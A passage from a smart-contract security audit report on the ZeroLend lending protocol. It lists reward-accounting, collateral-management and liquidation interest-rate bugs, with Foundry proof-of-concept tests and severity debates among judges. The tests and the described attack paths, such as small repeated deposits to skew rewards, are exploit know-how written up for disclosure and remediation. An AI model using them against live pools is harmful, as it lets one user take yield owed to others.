++        bytes32(0), // Position details (if any)
++       new bytes(0) // Interest rate data (if any)
++      );

      IERC20(asset).safeTransfer(treasury, amountToMint);
      totalSupply.supplyShares -= accruedToTreasuryShares;

      emit PoolEventsLib.MintedToTreasury(asset, amountToMint);
    }
  }
```

In this updated version, the interest rates are recalculated to account for the **liquidity sent** to the treasury. This ensures that the **next user's deposit** uses a correctly updated interest rate.

Discussion

sherlock-admin3

1 comment(s) were left on this issue during the judging contest.

Honour commented:

> Possibly valid. However claims the rates are inflated which i believe is false and the opposite happens(deflated rates) this is because the pool balance will be higher at the time interest rates are calculated (hence lower utilization and lower rates)

nevillehuang

request poc

sherlock-admin4

PoC requested from @Tomiwasa0

Requests remaining: **15**

Tomiwasa0

1. After setting Flashloan premium to 0.09%
2. Import to the WithdrawtTEST

```
++ import {IPool} from './../../../../contracts/interfaces/pool/IPool.sol';
++ import {MockFlashLoanSimpleReceiver} from
↪  './../../../../contracts/mocks/MockSimpleFlashLoanReceiver.sol';

contract PoolWithdrawTests is PoolSetup {
++   address alice = address(1);
++  address bob = address(2);


++  event Transfer(address indexed from, address indexed to, uint256 value);
```

3. PASTE AND RUN THE POC

```
function \_generateFlashloanCondition() internal {
    // Mint and approve tokenA and tokenC for bob
    \_mintAndApprove(bob, tokenA, 60 ether, address(pool));
    \_mintAndApprove(bob, tokenC, 2500 ether, address(pool));

    // Start prank as bob to simulate transactions from bob's account
    vm.startPrank(bob);

    // Supply tokenC to the pool for bob
    pool.supplySimple(address(tokenC), bob, 1000 ether, 0);

    // Stop prank as bob
    vm.stopPrank();
}
```

Updated `testPoolWithdraw` Function:

```
function testPoolWithdraw() external {
    // Declare amounts for supply, mint, withdraw, and borrow
    uint256 supplyAmount = 60 ether;
    uint256 mintAmount = 150 ether;
    uint256 withdrawAmount = 10 ether;
    uint256 index = 1;
    uint256 borrowAmount = 20 ether;
    // Mint and approve tokenA for owner
    vm.startPrank(owner);
    tokenA.mint(owner, mintAmount);
    tokenA.approve(address(pool), supplyAmount);

    // Supply tokenA to the pool for owner
    pool.supplySimple(address(tokenA), owner, supplyAmount, index);

    // Assert the balances after supplying tokenA
    assertEq(tokenA.balanceOf(address(pool)), supplyAmount, 'Pool Balance Supply');
    assertEq(tokenA.balanceOf(owner), mintAmount - supplyAmount, 'Owner Balance
↪   Supply');
    assertEq(pool.getTotalSupplyRaw(address(tokenA)).supplyShares, supplyAmount);
    assertEq(pool.getBalanceRaw(address(tokenA), owner, index).supplyShares,
↪   supplyAmount);

    // Advance time by 100 seconds
    uint256 currentTime1 = block.timestamp;
    vm.warp(currentTime1 + 100);

    // Borrow tokenA
    pool.borrowSimple(address(tokenA), owner, borrowAmount, 1);
    assertEq(tokenA.balanceOf(address(pool)), supplyAmount - borrowAmount);
    assertEq(pool.getDebt(address(tokenA), owner, 1), borrowAmount);
    assertEq(pool.totalDebt(address(tokenA)), borrowAmount);

    vm.stopPrank();

    // Advance time by 50 seconds
    uint256 currentTime2 = block.timestamp;
    vm.warp(currentTime2 + 50);

    // Prepare and execute flash loan
    bytes memory emptyParams;
    MockFlashLoanSimpleReceiver mockFlashSimpleReceiver = new
↪   MockFlashLoanSimpleReceiver(pool);
    \_generateFlashloanCondition();

    uint256 premium = poolFactory.flashLoanPremiumToProtocol();

    vm.startPrank(alice);
    tokenA.mint(alice, 10 ether);

    // Expect flash loan event emission
    vm.expectEmit(true, true, true, true);
    emit PoolEventsLib.FlashLoan(address(mockFlashSimpleReceiver), alice,
↪   address(tokenA), 40 ether, (40 ether * premium) / 10\_000);
    emit Transfer(address(0), address(mockFlashSimpleReceiver), (40 ether *
↪   premium) / 10\_000);
```

```
    // Execute the flash loan
    pool.flashLoanSimple(address(mockFlashSimpleReceiver), address(tokenA), 40
 ↪  ether, emptyParams);
    vm.stopPrank();

    // Advance time by 200 seconds
    uint256 currentTime = block.timestamp;
    vm.warp(currentTime + 200);

    // Assert the pool's balance after withdrawal
    assertEq(tokenA.balanceOf(address(pool)), 40036000000000000000, 'Pool Balance
 ↪  Withdraw');

    // Withdraw tokenA from the pool for the owner
    vm.startPrank(owner);
    pool.withdrawSimple(address(tokenA), owner, withdrawAmount, index);

    // Advance time by 50 seconds
    uint256 currentTime3 = block.timestamp;
    vm.warp(currentTime3 + 50);

    // Assert the remaining balance after withdrawal
    assertEq(pool.getBalanceRaw(address(tokenA), owner, index).supplyShares,
 ↪  50000001310612529086);

    // Bob mints and supplies more tokenA
    vm.startPrank(bob);
    tokenA.mint(owner, mintAmount);
    tokenA.approve(address(pool), supplyAmount);
    pool.supplySimple(address(tokenA), bob, 60 ether, index);

    // Assert the balance after Bob's supply
    assertEq(pool.getBalanceRaw(address(tokenA), bob, index).supplyShares,
 ↪  59999989872672182169);
}
```

Before Updating the index with Amount minted to tresury Bob got - 59999989872672182169; After update - 59999989869411349179,

```
Failing tests:
Encountered 1 failing test in
 ↪  test/forge/core/pool/PoolWithdrawTests.t.sol:PoolWithdrawTests
[FAIL. Reason: assertion failed: 59999989869411349179 != 59999989872672182169]
 ↪  testPoolWithdraw() (gas: 1531924)

Encountered a total of 1 failing tests, 0 tests succeeded
```

4. I agree with the initial statement that the impact is a deflation, Apologies for the confusion i calculated this on paper initially and a tiny error was made.

5. The attacker will mint more shares than they should and this can be weaponised to game the system for some profit by an attacker who just need to simply wait for a withdraw and then deposit lots of funds.
6. Since DefaultReserveInterestRateStrategy uses IERC20(params.reserve).balanceOf(msg.sender). Attacker gains more amount than they should when the new rate is normalised.

Issue M-6: The rewards distribution in the NFTPositionManager is unfair

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/393

Found by

000000, 0xNirix, A2-security, ether_sky, iamnmt

Summary

In NFTPositionManager, users can deposit or borrow assets and earn rewards in zero. However, the distribution of these rewards is not working correctly.

Vulnerability Detail

Let's consider a pool, P, and an asset, A, with a current liquidityindex of 1.5.

- Two users, U1 and U2, each deposit 100 units of A into pool P. (Think of U1 and U2 as tokenIDs.)
- Let's define assetHash(P,A,false) as H.
- In the _supply function, the balance is 100, since it represents the assetamount, not shares (as seen in line57).

```
function _supply(AssetOperationParams memory params) internal nonReentrant {
  pool.supply(params.asset, address(this), params.amount, params.tokenId,
↪  params.data);

57:  uint256 balance = pool.getBalance(params.asset, address(this), params.tokenId);
  _handleSupplies(address(pool), params.asset, params.tokenId, balance);
}
```

- The shares for these users would be calculated as 100÷1.5=66.67shares each in the P.

Now, in the _handleSupplies function, we compute the totalsupply and balances for these users for the assetHash H.

```
function _handleSupplies(address pool, address asset, uint256 tokenId, uint256
↪  balance) internal {
  bytes32 _assetHash = assetHash(pool, asset, false);  // H
  uint256 _currentBalance = _balances[tokenId][_assetHash];  // 0

  _updateReward(tokenId, _assetHash);
```

```
    _balances[tokenId][_assetHash] = balance; // 100
    _totalSupply[_assetHash] = _totalSupply[_assetHash] - _currentBalance + balance;
}
```

Those values would be as below:

- Total supply: `totalSupply[H]=200`
- Balances: `_balances[U1][H]=_balances[U2][H]=100`

After some time:

- The `liquidityindex` increases to `2`.
- A new user, `U3`, `deposits` `110` units of `A` into the `pool` `P`.
- `U2` makes a small `withdrawal` of just `1wei` to trigger an update to their `balance`.

Now, the `totalsupply` and user `balances` for `assetHash` `H` become:

- `_balances[U1][H]=100`
- `_balances[U2][H]=100÷1.5×2=133.3`
- `_balances[U3][H]=110`
- `totalSupply[H]=343.3`

At this point, User `U1`'s `assetbalance` in the `poolP` is the largest, being `1wei` more than `U2`'s and `23.3` more than `U3`'s. Yet, `U1` receives the smallest `rewards` because their `balance` was never updated in the `NFTPositionManager`. In contrast, User `U2` receives more `rewards` due to the `balance` update caused by `withdrawing` just `1wei`.

The issue:

This system is unfair because:

- User `U3`, who has fewer `assets` in the `pool` than `U1`, is receiving more `rewards`.
- The `rewards` distribution favors users who perform frequent updates (like `deposits` o `withdrawals`), which is not equitable.

The solution:

Instead of using the `assetbalance` as the `rewards` basis, we should use the `shares` in the `po ol`. Here's how the updated values would look:

- `_balances[U1][H]=66.67`
- `_balances[U2][H]=66.67-1wei`
- `_balances[U3][H]=110÷2=55`
- `totalSupply[H]=188.33`

This way, the `rewards` distribution becomes fair, as it is based on actual contributions to the `pool`.

Impact

Code Snippet

https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/positions/NFTPositionManagerSetters.sol#L57-L58

Tool used

Manual Review

Recommendation

```
function _supply(AssetOperationParams memory params) internal nonReentrant {
  pool.supply(params.asset, address(this), params.amount, params.tokenId,
 ↪  params.data);

-  uint256 balance = pool.getBalance(params.asset, address(this), params.tokenId);
+  uint256 balance = pool.getBalanceRaw(params.asset, address(this),
 ↪  params.tokenId).supplyShares;

  _handleSupplies(address(pool), params.asset, params.tokenId, balance);
}
```

The same applies to the `_borrow`, `_withdraw`, and `_repay` functions.

Discussion

nevillehuang

request poc

Is there a permisionless update functionality?

sherlock-admin4

PoC requested from @etherSky111

Requests remaining: **25**

etherSky111

Thanks for judging.

There is a clear issue. https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/473 To test this issue properly, we need to resolve the above issue first.

```
function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index)
 ↪  public view returns (uint256 supply) {
-  uint256 increase = self.supplyShares.rayMul(index) -
 ↪  self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-  return self.supplyShares + increase;
-
+  return self.supplyShares.rayMul(index);
}
```

Below is test code.

```
function supplyForUser(address user, uint256 supplyAmount, uint256 tokenId, bool
 ↪  mintNewToken) public {
  uint256 mintAmount = supplyAmount;
  DataTypes.ExtraData memory data = DataTypes.ExtraData(bytes(''), bytes(''));
  INFTPositionManager.AssetOperationParams memory params =
    INFTPositionManager.AssetOperationParams(address(tokenA), user, supplyAmount,
 ↪  tokenId, data);

  \_mintAndApprove(user, tokenA, mintAmount, address(nftPositionManager));

  vm.startPrank(user);
  if (mintNewToken == true) {
    nftPositionManager.mint(address(pool));
  }
  nftPositionManager.supply(params);
  vm.stopPrank();
}

function borrowForUser(address user, uint256 borrowAmount, uint256 tokenId) public {
  DataTypes.ExtraData memory data = DataTypes.ExtraData(bytes(''), bytes(''));
  INFTPositionManager.AssetOperationParams memory params =
    INFTPositionManager.AssetOperationParams(address(tokenA), user, borrowAmount,
 ↪  tokenId, data);

  vm.startPrank(user);
  nftPositionManager.borrow(params);
  vm.stopPrank();
}

function testRewardDistribution() external {
  DataTypes.ReserveData memory reserveData\_0 =
 ↪  pool.getReserveData(address(tokenA));
  console2.log('initial liquidity index                => ',
 ↪  reserveData\_0.liquidityIndex);

  address U1 = address(11);
  address U2 = address(12);
  address U3 = address(13);

  /**
    User U1 wants to mint a new NFT (tokenId = 1) and supply 100 ether token
    */
  supplyForUser(U1, 100 ether, 1, true);
  /**
    User U2 wants to mint a new NFT (tokenId = 2) and supply 100 ether token
    */
  supplyForUser(U2, 100 ether, 2, true);

  bytes32 assetHash = nftPositionManager.assetHash(address(pool), address(tokenA),
↪   false);

  uint256 balancesOfU1 = nftPositionManager.balanceOfByAssetHash(1, assetHash);
  uint256 balancesOfU2 = nftPositionManager.balanceOfByAssetHash(2, assetHash);
  console2.log('initial balance of U1 for rewards      => ', balancesOfU1);
  console2.log('initial balance of U2 for rewards      => ', balancesOfU2);

  /**
    For testing purposes, Alice mints a new NFT (tokenId = 3), supplies 1000 ether,
↪   and borrows 600 Ether.
    This action increases the pool's liquidity rate to a non-zero value.
    */
  supplyForUser(alice, 1000 ether, 3, true);
  borrowForUser(alice, 600 ether, 3);

  DataTypes.ReserveData memory reserveData\_1 =
↪   pool.getReserveData(address(tokenA));
  console2.log('current liquidity rate                 => ',
↪   reserveData\_1.liquidityRate);

  /**
    Skipping 2000 days is done for testing purposes to increase the liquidity index.
    In a real environment, the liquidity index would increase continuously over
↪   time.
    */
  vm.warp(block.timestamp + 2000 days);

  pool.forceUpdateReserve(address(tokenA));
  DataTypes.ReserveData memory reserveData\_2 =
↪   pool.getReserveData(address(tokenA));
  console2.log('updated liquidity index                => ',
↪   reserveData\_2.liquidityIndex);

  /**
    User U2 supplies 100 wei (a dust amount) to trigger an update of the balances
↪   for rewards.
    */
  supplyForUser(U2, 100, 2, false);

  uint256 balancesOfU1Final = nftPositionManager.balanceOfByAssetHash(1, assetHash);
  uint256 balancesOfU2Final = nftPositionManager.balanceOfByAssetHash(2, assetHash);
  console2.log('final balance of U1 for rewards        => ', balancesOfU1Final);
  console2.log('final balance of U2 for rewards        => ', balancesOfU2Final);

  /**
    User U3 wants to mint a new NFT (tokenId = 4) and supply 110 ether token
    */
  supplyForUser(U3, 110 ether, 4, true);
  uint256 balancesOfU3Final = nftPositionManager.balanceOfByAssetHash(4, assetHash);
  console2.log('final balance of U3 for rewards        => ', balancesOfU3Final);
}
```

Everything is in below log:

```
initial liquidity index                 =>  1000000000000000000000000000
initial balance of U1 for rewards       =>  100000000000000000000
initial balance of U2 for rewards       =>  100000000000000000000
current liquidity rate                  =>  43490566037735849056603774
updated liquidity index                 =>  1238304471439648487981390542
final balance of U1 for rewards         =>  100000000000000000000
final balance of U2 for rewards         =>  123830447143964848898
final balance of U3 for rewards         =>  110000000000000000000
```

There is no `rewardsystem` that requires users to continuously update their `balances`. How can users realistically update their `balances` every second to receive accurate `rewards`? Is this practical?

0xspearmint1

escalate

This issue does not meet Sherlock's criteria for a medium issue that requires the following:

> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.

For this issue to cause a 0.01% loss there must be an unrealistic increase in the liquidityIndex in an extremely small 14 day period. The POC provided inflates the liquidity index by borrowing a 60% of the funds at a huge interest rate for 5.5 years, this is absolutely not realistic and will never happen.

sherlock-admin3

> escalate
>
> This issue does not meet Sherlock's criteria for a medium issue that requires the following:

> > Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.
>
> For this issue to cause a 0.01% loss there must be an unrealistic increase in the liquidityIndex in an extremely small 14 day period. The POC provided inflates the liquidity index by borrowing a 60% of the funds at a huge interest rate for 5.5 years, this is absolutely not realistic and will never happen.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

aliX40

This issue is a high severity bug:

- Tracking shares instead of assets is basically 101 of staking rewards contracts.
- There is a provable and pocable significant loss/theft of yield (more than 1%)
- Rewards Accounting is completly false

obou07

escalate per comment

sherlock-admin3

> escalate per comment

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

I think this issue can be of High severity.

The attack path described in #58 shows very well how a user can deposit 1 USDC every day and earn more rewards than a normal user.

To execute this attack, we have almost no restrictions(except the normal ones, to have a reward and interest rate above zero), and the losses exceed 1%.

Planning to accept @obou07 escalation and make this issue High.

0xSpearmint

@cvetanovv This issue has a severe constraint:

1. The other users must not update their position at all for an extended period of time (~4 months to create a 1% difference). This is an external constraint out of the

> control of the attacker. Furthermore, since a reward EPOCH lasts only 2 weeks it is likely that users will redeem rewards and then compound them back into their position, this totally protects them from the issue.

samuraii77

The intended design is for users to __NOT__ update their position, thus it is expected for users to not update their positions for prolonged periods of time. For that reason, the used word ”constraint” is not quite correct, it is not a constraint, it is the expected scenario.

0xSpearmint

High severity states

> Definite loss of funds without (extensive) limitations of external conditions. The loss of the affected party must exceed 1%.

What I described is an external condition (user does not update their position at all, for an extended period of time) that looks extensive to me. All it takes is for a user to supply/withdraw from their position once in a 4 month period to make this issue have very low impact.

samuraii77

That is a limitation but not an extensive one as I mentioned in my above comment - users have absolutely no reason to update their positions usually. The only reason people would update their position is due to the issue mentioned in this report which means that only a few users who have a good understanding of Solidity and a rather malicious mindset would update their positions.

Furthermore, it only takes 1 user not updating his position to cause a loss of funds.

0xSpearmint

It is ridiculous to say the only reason people will update their position is this issue. Users modify their positions for a multitude of reasons in DEFI (moving to a different pool with more yield, compounding rewards, etc).

etherSky111

As a normal DeFi user, will you update your position continuously?

0xSpearmint

All the user has to do is update their position once every few months.

cvetanovv

@0xSpearmint is right. Most users are short-term investors(rather than long-term) who would update their positions more frequently. The chances of someone updating their position at least once every few months are huge and do not match the High severity rule, whereby there shall be **no limitations**.

My decision is to reject both escalations and leave this issue Medium severity.

iamnmt

@cvetanovv

> Most users are short-term investors(rather than long-term) who would update their positions more frequently.

I think it is not fair to make that assumption. It is a subjective assumption. It is equally likely a user is a short-term investor or a long-term investor. The impact for the long-term investor satisfies the high severity requirement.

0xSpearmint

ALL investors (short term/ long term) are incentivised to compound rewards back into their positions ASAP to get a greater return.

etherSky111

Of course, the final decision is up to @cvetanovv and I don't want to argue. But @0xSpearmint is thinking wrongly.

> ALL investors (short term/ long term) are incentivised to compound rewards back into their positions ASAP to get a greater return.

Could you please let me know about any other reward system where stakers should update their positions repeatedly to get a correct rewards? This is obviously a bug and there is no guarantee that all investers should update their positions ASAP to get a greater return.

As a long-term inversters, how do they know whether their rewards are calculated wrongly if they didn't update their positions? Maybe the protocol notify to them?

0xSpearmint

I agree this is an issue. But it does not meet sherlock's strict criteria for high severity.

Here is sherlock's criteria for medium:

> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained.

This issue requires a specific external condition, the other users must not update their position **at all for an extended period of time** (4 months).

etherSky111

This is my last comment.

> I agree this is an issue. But it does not meet sherlock's strict criteria for high severity.
>
> Here is sherlock's criteria for medium:
>
> > Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained.

> This issue requires a specific external condition, the other users must not update their position **at all for an extended period of time** (4 months).

This is not a specific external condition. Imagine there are 100 stakers and are you sure that all these users update their positions in 4 months? If I am a long term staker and I deposited large tokens to get `ZERO` token rewards, I won't update my positions for a long period as I believe the rewards calculation is correct. Unfortunately, there is an error in the rewards calculation and I will lose funds accidently. But I think this is at most medium issue because this is my mistake to not update my positions accordingly. I should've update my positions every 4 months.

And please stop arguing and let the judge decide.

cvetanovv

This is the rule for **High** severity:

> Definite loss of funds **without** (extensive) limitations of external conditions. The loss of the affected party must exceed 1%.

We only have a 1% loss if someone doesn't update their position for a few months. This is a serious limitation. To be High severity, there should be no limitation as written in the rule.

But it perfectly fits the **Medium** severity rule:

> Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss of the affected party must exceed 0.01% and 10 USD.

My decision is to reject both escalations and leave this issue Medium severity.

WangSecurity

Result: Medium Has duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- 0xspearmint1: rejected
- obou07: rejected

Issue M-7: Position Risk Management Functionality Missing in Position Manager and dos in certain conditions

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/398

Found by

0xc0ffEE, A2-security, almurhasan, tallo

Summary

Protocol users who manage their positions through the `PositionManager` are not able to manage risk of their positions, by setting collateral to on and off. Which is a core functionality of every lending protocol. The missing functionality will doss users from withdrawing also in certain conditions.

Vulnerability Detail

For each collateral resrve the pool tracks whethere the user is using as collateral or not, this is set in the userConfigMap. Any user could set which reserve he is setting as collateral by calling the

```
function setUserUseReserveAsCollateral(address asset, uint256 index, bool
↪  useAsCollateral) external {
    _setUserUseReserveAsCollateral(asset, index, useAsCollateral);
  }
```

The PositionManager.sol which the protocol users, are expected to interact with, doesn't implement the setUserUseReserveAsCollateral(), which first of all leads to the inablity of protocol users to manage risk on their Positions. The second impact and the most severe is that Position holders will be dossed, in the protocols if the ltv of one of the reserve token being used, will be set to zero. In such an event, users are required to set the affected collateral to false in order to do operations that lowers the ltv like withdraw to function.

The doss will be done in the function `validateHFandLtv()` which will be called to check the health of a position is maintend after a withdrawal

```
  function validateHFAndLtv(
    mapping(address => mapping(bytes32 => DataTypes.PositionBalance)) storage
↪   _balances,
    mapping(address => DataTypes.ReserveData) storage reservesData,
    mapping(uint256 => address) storage reservesList,
    DataTypes.UserConfigurationMap memory userConfig,
    DataTypes.ExecuteWithdrawParams memory params
  ) internal view {
    DataTypes.ReserveData memory reserve = reservesData[params.asset];

    (, bool hasZeroLtvCollateral) = validateHealthFactor(_balances, reservesData,
 ↪  reservesList, userConfig, params.position, params.pool);

@>>    require(!hasZeroLtvCollateral || reserve.configuration.getLtv() == 0,
 ↪  PoolErrorsLib.LTV_VALIDATION_FAILED);
  }
```

In this case, if the user wants to withdraw other reserves that don't have 0 tlv, the transaction will revert.

Impact

- missing core functions, that NFTPositionManager users are not able to use
- NFTPositionManager are unable to manage to risk at all
- Withdrawal operations in NFTPositionManager will be dossed in certain conditions

Code Snippet

https://github.com/sherlock-audit/2024-06-new-scope/blob/c8300e73f4d751796daad3dadbae4d11072b3d79/zerolend-one/contracts/core/pool/Pool.sol#L175C1-L177C4

Tool used

Manual Review

Recommendation

Implement the missing functionality in the `NFTPositionManager.sol`, to allow users to manage the risk on their `NFTPosition`

Discussion

0xjuaan

@nevillehuang The main impact here is that if an admin sets the ltv of a collateral to zero, then users withdrawals from the NFTPositionManager will be DoS'd. If this is valid, shouldn't #166 be valid? Since 166 was invalidated since it required admins to perform actions that lead to issues.

Issue M-8: Liquidation fails to update the interest Rate when liquidation funds are sent to the treasury thus the next user uses an inflated index

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/401

Found by

A2-security, Bigsam, almurhasan, dany.armstrong90, ether_sky, nfmelendez, trachev

Summary

A bug exists in the Zerolend liquidation process where the interest rate is not updated before transferring liquidation funds to the treasury. This omission leads to an inflated index being used by the next user when performing subsequent actions such as deposits, withdrawals, or borrowing, similar to the previously reported bug in the withdrawal function. As a result, the next user may receive fewer shares or incur an incorrect debt due to the artificially high liquidity rate.

Root Cause

Examples of update rate before transferring everywhere in the protocol to maintain Rate

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/SupplyLogic.sol#L69-L81

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/SupplyLogic.sol#L125-L146

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol#L88-L99

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol#L139-L158

The same process can be observed in Aave v 3.

1. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/SupplyLogic.sol#L130
2. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/SupplyLogic.sol#L65

3. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/BorrowLogic.sol#L145-L150
4. https://github.com/aave/aave-v3-core/blob/782f51917056a53a2c228701058a6c3fb233684a/contracts/protocol/libraries/logic/BorrowLogic.sol#L227-L232

Looking at the effect of updating rate

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ReserveLogic.sol#L134-L182

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/periphery/ir/DefaultReserveInterestRateStrategy.sol#L98-L131

This rates are used to get the new index

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ReserveLogic.sol#L225-L227

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/ReserveLogic.sol#L235-L237

-

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

During the liquidation process in Zerolend, when funds are transferred to the **treasury** as a liquidation protocol fee, the interest rate in the pool is **not updated** before the transfer. This failure results in the next user's interaction with the protocol (such as a deposit, withdrawal, or loan) being calculated based on an **inflated liquidity rate**. The inflated rate causes the user to receive fewer shares than they should or be charged an incorrect interest rate.

In contrast, **Aave's approach** ensures that the interest rate is always updated when necessary and adjusted when funds are moved outside the system. Aave achieves this by transferring the funds inside the contract in the form of **aTokens**, which track liquidity changes, and since atokens are not burnt there is no need to update the interest rate accordingly in this case.

Zerolend, however, directly transfers funds out of the pool without recalculating the interest rate, which leads to inconsistencies in the index used by the next user.

Code Context: In Zerolend's liquidation process, when a user is liquidated and the liquidation fee is sent to the treasury, the protocol transfers the funds directly without updating the interest rate.

```
// Transfer fee to treasury if it is non-zero
if (vars.liquidationProtocolFeeAmount != 0) {
    uint256 liquidityIndex = collateralReserve.getNormalizedIncome();
    uint256 scaledDownLiquidationProtocolFee =
↪   vars.liquidationProtocolFeeAmount.rayDiv(liquidityIndex);
    uint256 scaledDownUserBalance =
↪   balances[params.collateralAsset][params.position].supplyShares;

    if (scaledDownLiquidationProtocolFee > scaledDownUserBalance) {
        vars.liquidationProtocolFeeAmount =
↪   scaledDownUserBalance.rayMul(liquidityIndex);
    }
@audit >> transferring underlying asset out without updating interest rate first>>>>

    IERC20(params.collateralAsset).safeTransfer(IPool(params.pool).factory().treasu⌋
↪   ry(), vars.liquidationProtocolFeeAmount);
}
```

As can be seen in the code, the liquidation protocol fee is transferred to the treasury, but no interest rate update takes place **before** the transfer. This results in an incorrect liquidity rate for the next user interaction.

Comparison with Aave: Aave uses **aTokens** for transfers within the protocol, and the interest rate is updated accordingly when funds are moved, ensuring that the liquidity rate and index are always accurate. In Aave's liquidation process, the aTokens are transferred to the treasury rather than removing liquidity directly from the pool.

```
vars.collateralAToken.transferOnLiquidation(
    params.user,
    vars.collateralAToken.RESERVE_TREASURY_ADDRESS(),
    vars.liquidationProtocolFeeAmount
);
```

In Aave's implementation, the **aToken** system ensures that the liquidity and interest rates are intact based on the movement of funds and not transferring underlying assets.

Impact

- **Incorrect Share Calculation:** Deposits, withdrawals, and loans after a liquidation may use an inflated liquidity rate, resulting in **fewer shares** minted for depositors or incorrect debt calculations for borrowers.

- **Protocol Inconsistency**: The protocol operates with an inaccurate interest rate after each liquidation, leading to potential financial discrepancies across user interactions.

PoC

No response

Mitigation

To address this issue, the **interest rate must be updated** before transferring any liquidation protocol fees to the treasury. This ensures that the system correctly accounts for the reduction in liquidity due to the transfer. This will be my last report here before transferring funds to the treasury also a bug was discovered before transferring. kind fix also. thank you for the great opportunity to audit your code i wish zerolend the very best in the future.

Suggested Fix: In the liquidation logic, invoke the `updateInterestRates` function on the **collateral reserve** before transferring the funds to the treasury. This will ensure that the correct liquidity rate is applied to the pool before the funds are removed.

Modified Code Example:

```
if (vars.liquidationProtocolFeeAmount != 0) {
    uint256 liquidityIndex = collateralReserve.getNormalizedIncome();
    uint256 scaledDownLiquidationProtocolFee =
↪   vars.liquidationProtocolFeeAmount.rayDiv(liquidityIndex);
    uint256 scaledDownUserBalance =
↪   balances[params.collateralAsset][params.position].supplyShares;

    if (scaledDownLiquidationProtocolFee > scaledDownUserBalance) {
        vars.liquidationProtocolFeeAmount =
↪   scaledDownUserBalance.rayMul(liquidityIndex);
    }

++   // Before transferring liquidation protocol fee to treasury, update the
↪   interest rates
++   collateralReserve.updateInterestRates(
++  totalSupplies,
++  collateralReserveCache,
++  params.collateralAsset,
++  IPool(params.pool).getReserveFactor(),
++  0, // No liquidity added
++   vars.liquidationProtocolFeeAmount, // Liquidity taken during liquidation
++  params.position,
++ params.data.interestRateData
++ );

++ // Now, transfer fee to treasury if it is non-zero

    IERC20(params.collateralAsset).safeTransfer(IPool(params.pool).factory().treasu
↪   ry(), vars.liquidationProtocolFeeAmount);
}
```

In this updated version, the interest rates are recalculated **before** the liquidation protocol fee is transferred to the treasury. This ensures that subsequent deposits, withdrawals, and loans use the correct liquidity rate and avoid discrepancies caused by an inflated index.

Discussion

nevillehuang

request poc

Seems related to #387 in terms of root cause

sherlock-admin4

PoC requested from @Tomiwasa0

Requests remaining: **14**

Tomiwasa0

1. After setting liquidationProtocolFeePercentage to 20%, 20-10% using aave's examples
2. add to addresses

```
++   address sam = address(3);
++   address dav = address(4);
```

4. PASTE AND RUN THE POC

```
function \_generateLiquidationCondition() internal {
 \_mintAndApprove(alice, tokenA, mintAmountA, address(pool)); // alice 1000 tokenA
 \_mintAndApprove(sam, tokenA, mintAmountA, address(pool)); // alice 1000 tokenA
  \_mintAndApprove(bob, tokenB, mintAmountB, address(pool)); // bob 2000 tokenB
   \_mintAndApprove(dav, tokenA, mintAmountA, address(pool)); // bob 2000 tokenB

  vm.startPrank(alice);
  pool.supplySimple(address(tokenA), alice, supplyAmountA, 0); // 550 tokenA alice
↪   supply
  vm.stopPrank();


  vm.startPrank(sam);
  pool.supplySimple(address(tokenA), sam, supplyAmountA, 0); // 550 tokenA alice
↪  supply
  vm.stopPrank();

  vm.startPrank(bob);
  pool.supplySimple(address(tokenB), bob, supplyAmountB, 0); // 750 tokenB bob
↪  supply
  vm.stopPrank();

  vm.startPrank(alice);
  pool.borrowSimple(address(tokenB), alice, borrowAmountB, 0); // 100 tokenB alice
↪  borrow
  vm.stopPrank();

   vm.startPrank(sam);
  pool.borrowSimple(address(tokenB), sam, borrowAmountB, 0); // 100 tokenB alice
↪  borrow
  vm.stopPrank();

  vm.startPrank(bob);
  pool.borrowSimple(address(tokenA), bob , 500e18, 0); // 100 tokenB alice borrow
  vm.stopPrank();
   // Get the current block timestamp
      uint256 currentTime = block.timestamp;

  // Set the block.timestamp to current time plus 100 seconds
      vm.warp(currentTime + 1000);


  assertEq(tokenB.balanceOf(alice), borrowAmountB);

  oracleA.updateAnswer(0.45e8);
}
```

Updated Liquidation Function:

```
function testLiquidationSimple2() external {
    \_generateLiquidationCondition();
    (, uint256 totalDebtBase,,,,) = pool.getUserAccountData(alice, 0);

    vm.startPrank(bob);
    // vm.expectEmit(true, true, true, false);
